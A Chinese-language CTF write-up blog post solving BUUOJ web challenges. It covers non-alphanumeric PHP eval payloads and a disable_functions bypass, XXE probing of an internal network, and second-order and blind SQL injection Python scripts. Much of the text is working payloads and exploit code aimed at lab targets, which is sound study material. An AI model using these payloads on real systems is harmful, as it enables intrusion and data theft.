2020.04.15近几日buuoj刷题记录

极客大挑战 2019 RCE ME

题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
error_reporting(0);
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}

// ?>

一道php极限利用的题目,首先看响应头的php版本号是7.0

php7版本可以用($a)()的方式执行动态函数,那么首先查看phpinfo:

?code=(~%8F%97%8F%96%91%99%90)();
//或者
?code=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo

发现短标签被闭合了,那么相关思路走不通了。来看一下eval和assert:

eval是一个语言构造器,不能被可变函数调用,其他的例如 echoprintunset()isset()empty()includerequire 等同样都不能

在php7.0前,assert是一个函数,而在php7中assert变成了一种语言构造器;在php7.1后,assert默认不支持代码执行

payload:

1.

?code=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=assert&__=var_dump(scandir(%27/%27))

2.官方预期解:

?code=(~%9E%8C%8C%9A%8D%8B)((~%91%9A%87%8B)((~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C)()));
//("assert")(("next")(("getallheaders")()));

只需将命令放在UA头中即可

3.学弟的方法:

?code=$_=${~%A0%AF%B0%AC%AB}[_];$_(${~%A0%AF%B0%AC%AB}[__]); 

之后POST_=assert&__=phpinfo()即可

然后bypass disable_functions,预期是通过LD_PRELOAD:

https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD

最近碰到一些通过pwn php内核漏洞方面的一些bypass方式,于是尝试了一下,可以直接bypass来getshell;

首先写入脚本,因为在burp中换行后的内容不会被当做请求体,尝试经过一次base64编码,然后写入的时候解码,发现出现了乱码问题,经过两次base64编码后发现正常解码;首先将脚本进行两次base64编码,在写入时解码:

_=assert&__=file_put_contents('/tmp/a.php',base64_decode(base64_decode('xxx')))

之后运行这个脚本:

_=assert&__=include('/tmp/a.php')

NCTF2019 True XML cookbook

在这道题前面有个False XML cookbook,是两道XXE的题,不过唯一不同的是前者flag放到/flag下了,而后者则放到了内网中的一台机器上

首先测试XXE时要找到回显位置,很明显,这道题的回显位置在username处:

读取dns解析配置,可以发现自己的机器在内网中的ip:

然后读取/proc/net/arp,读取路由地址转换记录:

自己的是173.15.185.9,arp记录是173.15.185.2,然后用XXE访问这个记录,发现flag并不存在,那么考虑扫描整个网段,找到flag

CISCN2019 华北赛区 Day1 Web5 CyberPunk

首先有个地方修改地址,经过fuzz发现存在SQL注入漏洞,而且好像还是二次注入;在第一次修改为1'时,第二次修改会报错,然后就是写脚本跑数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import requests
import re

url = 'http://71a0a6ba-96b7-48a1-8419-c36a3abe93bc.node3.buuoj.cn/'


def reg(name, phone, address):
data = {
'user_name': name,
'phone': phone,
'address': address
}
res = requests.post(url+'confirm.php', data=data)


def delete(name, phone):
data = {
'user_name':name,
'phone': phone
}
res = requests.post(url+'delete.php', data=data)


def change(name, phone, address):
data = {
'user_name': name,
'phone': phone,
'address': address
}
res = requests.post(url+'change.php', data=data)
print(res.text)
#print(re.findall("XPATH syntax(.*)", res.text)[0])


name = 'gtfly'
phone = '123'
address = '123'

payload = "1' and updatexml(1,concat('~',(select mid(content,15,32) from ctftraining.news where content like 'flag%')),1) #"
#payload = "1' and updatexml(1,concat('~',(select mid(load_file('/flag.txt'),30,32))),1) #"

reg(name, phone, address)
change(name, phone, payload)
change(name, phone, payload)

delete(name, phone)

然后跑出的数据里面没有发现flag:

  • ctftraining

    • FLAG_TABLE:FLAG_COLUMN
    • news:id,title,content,time
      • content:Flag is in the database but not here
    • users:id,username,password,ip,time
      • username:admin,guest,virink
      • password:21232f297a57a5a743894a0e4a801fc3,084e0343a0486ff05530df6c705c8bb4…..
  • database()

    • user:Host,User,Password,address,old_address,user_name,phone,
      User,user_id,user_name

之后实在不行了,在网上找wp,发现这题竟然有文件包含可以读源码,而且flag在根目录下的flag.txt???

当场去世

极客大挑战 2019 FinalSQL

测试发现为整型注入:

search.php?id=2-1

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests

url = 'http://c7f3f20f-c2bd-4cdb-8bbf-570c1efe3d80.node3.buuoj.cn/search.php?id='

flag = ''
for i in range(1, 1000):
for j in range(33, 128):
#payload = 'ELT(ascii(substr((schema()),{},1))={},1)'.format(i, j)
#payload = 'ELT(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=schema())),{},1))={},1)'.format(i, j)
#payload = 'ELT(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name="F1naI1y")),{},1))={},1)'.format(i, j)
#payload = 'ELT(ascii(substr((select(group_concat(fl4gawsl))from(Flaaaaag)where(fl4gawsl)regexp("flag")),{},1))={},1)'.format(i, j)
payload = 'ELT(ascii(substr((select(group_concat(password))from(F1naI1y)where(password)regexp("flag")),{},1))={},1)'.format(i, j)

res = requests.get(url+payload).text
if 'NO! Not this! Click others' in res:
flag += chr(j)
print(flag)
break

官方wp给的payload:

sql ="1^(ord(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)^1"%(i,j)